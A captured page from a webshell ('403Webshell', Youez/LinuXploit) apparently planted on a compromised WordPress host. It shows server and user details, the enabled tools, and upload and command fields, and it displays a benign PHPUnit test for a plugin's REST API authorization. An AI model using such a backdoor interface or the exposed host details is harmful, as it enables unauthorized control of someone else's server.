403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/blueversion/wp-content/plugins/really-simple-ssl/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/blueversion/wp-content/plugins/really-simple-ssl/tests/test-rest-api.php
<?php

/**
 * Class RSSSLAuthorizeRestApiRequestsTest
 *
 * Test class for authorize-rest-api-requests.php functions
 */
class RSSSLAuthorizeRestApiRequestsTest extends WP_UnitTestCase {
    /**
     * Set up the test environment
     */
    protected function setUp(): void {
        parent::setUp();
        require_once __DIR__ . '/../security/wordpress/rest-api.php';
    }

    /**
     * Test if the 'authorize_rest_api_requests' function is hooked to the 'rest_request_before_callbacks' filter
     */
    public function test_authorize_rest_api_requests_filter() {
        $this->assertNotFalse(has_filter('rest_request_before_callbacks', 'authorize_rest_api_requests'));
    }

    /**
     * Test the 'authorize_rest_api_requests' function
     *
     * This test checks various cases:
     * - without the 'authorization' header
     * - with the 'authorization' header but without an 'administrator' role
     * - with an 'administrator' role
     */
    public function test_authorize_rest_api_requests() {
        $request = new WP_REST_Request();
        $response = rest_ensure_response(null);
        $handler = array();

        // Test case without the 'authorization' header
        $result = authorize_rest_api_requests($response, $handler, $request);
        $this->assertInstanceOf(WP_Error::class, $result);
        $this->assertEquals('authorization', $result->get_error_code());

        // Test case with the 'authorization' header
        $request->set_header('authorization', 'Bearer some_token');
        $result = authorize_rest_api_requests($response, $handler, $request);

        // Since we don't have a user with 'administrator' role, the error will be 'forbidden'
        $this->assertInstanceOf(WP_Error::class, $result);
        $this->assertEquals('forbidden', $result->get_error_code());

        // Add a new user with 'administrator' role
        $user_id = $this->factory->user->create(array('role' => 'administrator'));
        wp_set_current_user($user_id);

        // Test case with a user with 'administrator' role
        $result = authorize_rest_api_requests($response, $handler, $request);
        $this->assertEquals($response, $result);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit